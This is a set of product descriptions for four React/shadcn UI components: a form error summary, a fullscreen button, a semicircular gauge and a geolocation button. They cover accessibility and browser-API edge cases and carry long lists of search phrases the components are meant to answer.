The block that appears above a form after a failed submit — "There are 3 problems with your submission" followed by one link per error that jumps focus straight to the field it came from. Use it on any form long enough that the broken field can be off screen: signup and checkout, account or billing settings, a multi-step wizard, an onboarding or application form, an admin create/edit page, or anywhere a server action returns field errors. Common asks it answers: "error summary", "validation summary", "show all form errors at the top", "list validation errors with links to fields", "focus the first invalid field on submit", "scroll to first error react", "jump to invalid field", "accessible form errors", "GOV.UK-style error summary", "react-hook-form error summary", "formState.errors to a list", "zod flatten fieldErrors react", "formik error summary", "next.js server action validation errors", "useActionState field errors", "shadcn form error summary", "validation errors at top of form", "a11y form validation WCAG 3.3.1", "announce form errors to screen reader", "フォームのエラーを上にまとめて出す", "バリデーションエラー 一覧 リンク", "最初のエラー項目にフォーカス". Official shadcn/ui stops at the per-field message, and the gap is measured rather than remembered: across its 62 fetchable components (223,287 bytes of source) error-summary, errorSummary, summary, fieldErrors and scrollIntoView are 0 hits, while role="alert" appears twice and aria-describedby once — the per-field plumbing is there and the summary, the focus move and the field links are not. Those are the parts that decide whether a keyboard or screen-reader user can actually find what broke. Pass an `errors` array of `{ fieldId, message }` mapped straight from react-hook-form's formState.errors, a zod flatten(), or a server action's fieldErrors; an empty array renders nothing, so it can sit in the JSX unconditionally. Give it `focusKey={formState.submitCount}` and a second submit that fails identically still announces. Accessibility is the whole point: it announces by moving focus to a container labelled by its heading, rather than through a live region — a live region reads the messages but leaves focus behind, so the links the user needs are somewhere they must go hunting for, and doing both reads everything twice. Each message links to its field and focuses it on click, falling back to the first focusable control inside when the id names a wrapper (radio group, checkbox group, custom combobox); errors with no fieldId render as plain text for form-level failures like a declined card. The container uses a plain focus ring, not focus-visible, because focus arrives programmatically and browsers do not reliably paint it otherwise. headingLevel keeps the heading in your page outline. Styled with shadcn destructive/ring tokens for light and dark themes; lucide-react is the only dependency. Distinct from toast, which pops a transient message, and from an inline field message, which only helps once you have already found the field.
A button that shows one element — a chart, a data table, a map, a video player, a preview pane — full-screen on its own, and keeps telling the truth about it afterwards. Reach for it wherever a panel is too small for the thing inside it: a dashboard chart somebody wants to read properly, a wide data table or log viewer, an embedded map, a code or markdown preview, an image or PDF viewer, a diagram or canvas, a kiosk or presentation view, a video or camera feed. Common asks it answers: "fullscreen button react", "react fullscreen component", "shadcn fullscreen", "requestFullscreen react", "expand chart to fullscreen", "fullscreen a div react", "maximize panel react", "react-full-screen alternative", "screenfull.js alternative", "use-fullscreen hook", "exit fullscreen button stuck", "fullscreen state wrong after escape", "escape key breaks my fullscreen toggle", "document.fullscreenElement react", "fullscreenchange listener react", "requestFullscreen not working", "requestFullscreen NotAllowedError", "fullscreen permissions policy iframe", "requestFullscreen ios safari not working", "element fullscreen iphone", "fullscreen api safari prefix", "webkitRequestFullscreen", "全画面 ボタン react", "フルスクリーン 切り替え react", "Escape で全画面が解除されると表示がずれる". Official shadcn/ui has nothing of the kind, and the measurement is not close. Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 255,796 bytes of source: requestFullscreen, exitFullscreen, fullscreenElement, fullscreenchange, fullscreenEnabled, webkitRequestFullscreen, allowFullScreen and the bare word fullscreen are every one of them zero hits. The four matches for "expand" are sidebar's expanded/collapsed state and a has-aria-expanded rule on a table row. So an agent asked for this writes it from scratch, and the version it writes has a specific bug in it. The bug is a `const [isFullscreen, setIsFullscreen] = useState(false)` flipped inside the click handler. It demos perfectly. Then the user presses Escape — which is how most people leave full screen, along with F11 and the browser's own chrome — and none of those go through the button. The boolean stays true, the label reads "Exit fullscreen" over a windowed page, and clicking it now asks to *leave* a full screen nobody is in, so the button is stuck in the wrong state for good and no amount of pressing fixes it. The only real state is `document.fullscreenElement`, and the only way to stay level with it is to subscribe to `fullscreenchange` and re-read. That is what this does: entering never writes the state, it only asks — the event is the sole writer — so the label cannot drift from the browser, whatever route the user took out. The comparison is the half that is usually missed even by implementations that do subscribe. `!!document.fullscreenElement` is a property of the page, not of your element: put a fullscreen button on both a chart and a table, expand the chart, and the table's button lights up as well and offers to exit something it does not own. The state here is `document.fullscreenElement === target`, and `exit()` refuses to act unless that holds, because `exitFullscreen` is document-wide and would otherwise cancel a full screen that belongs to another component. Two things about the request itself. It is called with nothing awaited ahead of it, because the browser only grants it while the click is still the active user gesture — measure the element or fetch something first and it rejects with NotAllowedError, in production, on a button that worked in development where the await was fast. And the returned promise really does reject: an iframe embedded without `allow="fullscreen"` has the method and is refused by permissions policy, which arrives asynchronously, after the gesture is spent. That leaves the environment the API is simply not in. On an iPhone, Safari has element full-screen for `<video>` and nothing else — `requestFullscreen` is absent, not refused — so a button that assumes the method exists is dead on the most common phone on the web, silently, with nothing in the console. Rather than detect and disappear, this keeps working by other means: where the API is missing, or refused, it covers the viewport with CSS instead and reports `mode: "css"` so you can tell the difference. That fallback is written as inline styles rather than class names on purpose — a panel wearing `h-64 max-w-md rounded-lg` ignores `position: fixed; inset: 0` and stays a small rounded card in the corner, because an explicit height wins over an over-constrained box — and every property's previous inline value is saved and put back on exit. It also paints a backdrop when the target's own background is transparent, taken from the nearest ancestor that paints one so it stays right in both themes, and it wires Escape by hand, since the real API's Escape is not there to inherit. Unmounting restores the target: the alternative is a panel pinned over the page with no way back. Feature detection never reaches the render, so the server and the first client render agree and nothing hydrates twice; `isFullscreenSupported` and the hook's `isSupported` are there for when you want to hide your own control, and both read the permissions policy rather than just the method. The state is carried by `aria-pressed` — an icon swap is not something a screen reader reports — the icon is `aria-hidden`, `iconOnly` keeps the label as the accessible name instead of dropping it, focus-visible rings are the shadcn ones, and it is a real `<button type="button">` so it will not submit the form it sits in. Older Safari's `webkit` spellings are handled for the request, the exit and the event. The API: `targetRef` is the element to expand, plus `enterLabel`, `exitLabel`, `iconOnly`, `cssFallback` and `onFullscreenChange` — which fires on every flip including the ones the user made with Escape, and is not called `onChange` because that is a native attribute of `<button>`. `useFullscreen(targetRef)` returns `{ isFullscreen, mode, isSupported, enter, exit, toggle }` for a control you lay out yourself. One thing worth knowing before you place it: put the button **inside** the element it expands. Everything outside the full-screen element is not rendered, so a button sitting beside the chart vanishes the moment it is pressed, taking the keyboard focus with it and leaving Escape as the only way back. Within pulld it sits next to the components that make a panel readable rather than bigger: image-comparison and image-crop work on one image, scroll-shadow and virtual-list handle a pane that is too small to show everything, and print-button is the other way of getting content out of a cramped box. Distinct from a dialog: this is the browser's own full screen over the whole display, with no overlay, no focus trap and no scrim. One file, one dependency (lucide-react for the two icons), and every colour is a shadcn token, so light and dark follow on their own.
A semicircular (half-circle) gauge or dial that shows one measurement inside a known range, drawn as an SVG arc that fills from the left and animates to its new position. Reach for it when the number is a *level being read*, not a task being finished: CPU, memory, load average or server utilisation on an infrastructure dashboard; disk, storage or bandwidth used against a plan; API rate-limit, quota or credit consumption; a health, uptime, performance, SEO or Lighthouse-style score; a speedometer or throughput readout; temperature, humidity, pressure or a sensor reading on an IoT panel; battery, signal or capacity level; a credit, risk, trust or fraud score; NPS and satisfaction; and KPI, quota or target attainment on a sales or revenue dashboard. Common asks it answers: "gauge component", "gauge chart react", "semi circle gauge", "half circle progress", "speedometer component", "dial component", "meter component react", "radial gauge", "arc progress", "score gauge", "KPI gauge", "utilization gauge", "shadcn gauge", "shadcn meter", "shadcn speedometer", "tailwind gauge component", "half gauge chart react", "svg arc gauge tailwind", "donut gauge with centre label", "gauge with colour thresholds", "green amber red gauge zones", "cpu usage gauge react", "memory utilisation gauge", "disk usage meter component", "api rate limit gauge", "quota meter react", "lighthouse score gauge", "health score dial", "nps gauge component", "temperature gauge react", "battery level gauge", "iot sensor dial react", "react-gauge-chart alternative", "react-gauge-component alternative", "echarts gauge alternative", "d3 gauge alternative", "recharts radial bar alternative", "radial bar chart without recharts", "role meter vs progressbar", "aria-valuenow meter react", "accessible gauge screen reader", "progress bar for a measurement not a task". shadcn/ui ships no gauge: measured against the live catalogue on 2026-10-27 (65 items indexed, the 62 fetchable ones concatenated to 223,287 bytes of source), gauge, speedometer, aria-valuenow and role="meter" are all zero hits, and the words that do appear are not what they look like — every "meter" is inside Parameters, every "dial" inside Dialog, and the single "radial" is a Recharts class name in the chart wrapper's stylesheet. That last one is the honest caveat and the reason the two adjacent items still are not substitutes: `progress` is a linear bar that means *how far along*, and `chart` is a Recharts wrapper — a charting library you install (recharts) and configure with data series, which can be bent into a radial bar but arrives as a chart rather than as a labelled single-value readout. The distinction is also the accessibility one, and it is the reason this is not a progress ring: a gauge exposes `role="meter"` with `aria-valuemin`, `aria-valuemax` and `aria-valuenow`, which is what assistive technology reads as "a measurement within a range", where `role="progressbar"` announces a task advancing toward completion. Getting that backwards is the single most common mistake in hand-rolled dials, and it is invisible until someone uses a screen reader. Set `segments` to change the arc colour at thresholds — green under 60, amber under 85, red to 100 — passing shadcn/Tailwind colour classes so the zones follow light and dark mode; omit it for a single primary-coloured dial. `min`/`max` set the scale, `showValue` renders the number in the centre, `formatValue` formats it (percent, bytes, ms, currency), `label` adds a caption, and `children` replaces the centre entirely when you want a sparkline, a delta or an icon in there. One file, no charting library, no icon package — nothing beyond your `cn` util.
A "use my current location" button that is right about why it didn't. It asks the device for a position and, when that is refused, works out which of four unrelated things the refusal actually was — because the browser reports all four with the same number — so what it puts on screen is advice that can work rather than advice that cannot. Reach for it wherever typing an address is the worst part of the page: the "find my address" step of a checkout, signup, delivery or booking form; a store, branch, ATM, pharmacy, restaurant or EV-charger finder; a weather, air-quality, pollen, tide or prayer-times view that ought to open on where you already are; the initial centre of a map; a check-in, attendance, inspection or field-service app; a taxi, ride or courier pickup point; local search, classifieds, jobs or property listings; a "near me" radius on events or dating; a shipping, delivery-window or tax estimate; and any first run that would otherwise begin by asking somebody which city they are in. Common asks it answers: "geolocation react", "use my current location button", "get user location react", "navigator.geolocation react", "useGeolocation hook", "react-geolocated alternative", "shadcn geolocation", "current location button shadcn", "getCurrentPosition react", "watchPosition react hook", "request location permission react", "geolocation permission denied react", "user denied geolocation how to ask again", "how to re-request location permission", "geolocation prompt not showing", "getCurrentPosition not working on localhost", "geolocation not working over http", "geolocation requires https", "getCurrentPosition hangs forever", "geolocation timeout default infinity", "location spinner never stops", "clearWatch react", "geolocation battery drain", "navigator.permissions.query geolocation", "check if location is blocked without prompting", "geolocation in iframe not working", "Permissions-Policy geolocation". The reason to install one rather than write it is that the platform answers four different questions with one number. The specification's "request a position" algorithm calls back with PERMISSION_DENIED when a Permissions Policy forbids the feature, again when the page is not a secure context, and again when the stored permission is "denied" — and a prompt the user closes without answering arrives the same way. The version everyone writes maps that code to "you have blocked location access, turn it back on in your browser settings", which is true in one of those cases and misleading in the other three. On the http staging box on an internal IP there is no setting to change and no prompt was ever shown. Inside an <iframe> without allow="geolocation", the same. And somebody who merely dismissed the dialog is told they blocked something they did not. So the code is never taken at face value. Two of the causes are settled before calling at all, which is also what stops a doomed request being made: the secure-context check — needed because the attribute is not [SecureContext] and so is present, and useless, on every http origin, which is why the usual feature detect passes there — and document.permissionsPolicy.allowsFeature("geolocation") where a browser has it. The rest is decided by reading the stored state with navigator.permissions.query, which answers without prompting: still "prompt" after a refusal means the dialog was dismissed, "granted" means the block came from above the user, and "denied" means it is the user's own. Only the first of those is offered a retry, because the specification is explicit that once the state is "denied", getCurrentPosition calls back immediately without prompting — a "Try again" button there cannot work, and returns the same error instantly for as long as the page stays open. What it offers instead is the browser's own site settings, and it subscribes to the PermissionStatus change event, so the moment somebody flips that switch the dead end clears itself and the button works again with no reload. Two more defaults are corrected on the way past. timeout is Infinity in the browser, so the hand-written version hangs — no success, no failure, spinner still turning — on a phone indoors, in a lift or in aeroplane mode; this one always sends a finite deadline. And that deadline does not cover everything, which is why the button separates "waiting for permission" from "finding your location": by the specification the time spent waiting for the document to become visible and for the permission to be answered is not included in timeout, so an unanswered dialog is an unbounded wait — correctly, because a person deciding whether to hand over their location is not a fault and must not be cut off and told it failed. Watch mode registers with watchPosition and hands it back with clearWatch on unmount, on clear() and before any restart, which is the leak with no symptom on screen: an abandoned watch keeps the location hardware awake for the life of the page, long after the map that wanted it was navigated away from. Official shadcn/ui has nothing here — geolocation, getCurrentPosition, watchPosition, clearWatch, coords, navigator.permissions and PermissionStatus appear nowhere in its components. Within pulld it is the one that has to ask for something: network-status works out whether the network is really there, wake-lock-toggle holds a resource the browser can take back silently, and this one handles the permission that can be refused for good. It sits naturally beside a map or an address form, and alongside country-select, phone-input or timezone-select on the same form. useGeolocation() is exported for a control of your own, handing back phase, position, failure, permission, isSupported, request() and clear(); isGeolocationSupported() is exported too and reports only that the API exists — deliberately not that it will work, which on http is a different question. The failure object carries a cause, the browser's own code, a retryable flag and wording you can override per cause, so a design of your own can draw the same distinctions. The message sits in an always-mounted polite live region, because a live region inserted together with its text is not reliably announced and would be silent for exactly the people relying on it. The button uses aria-disabled rather than disabled, so a refusal keeps its place in the tab order and can still explain itself, points at the message with aria-describedby, and carries aria-busy while it waits. Every colour is a shadcn token, so it follows light and dark, and the whole thing is one file.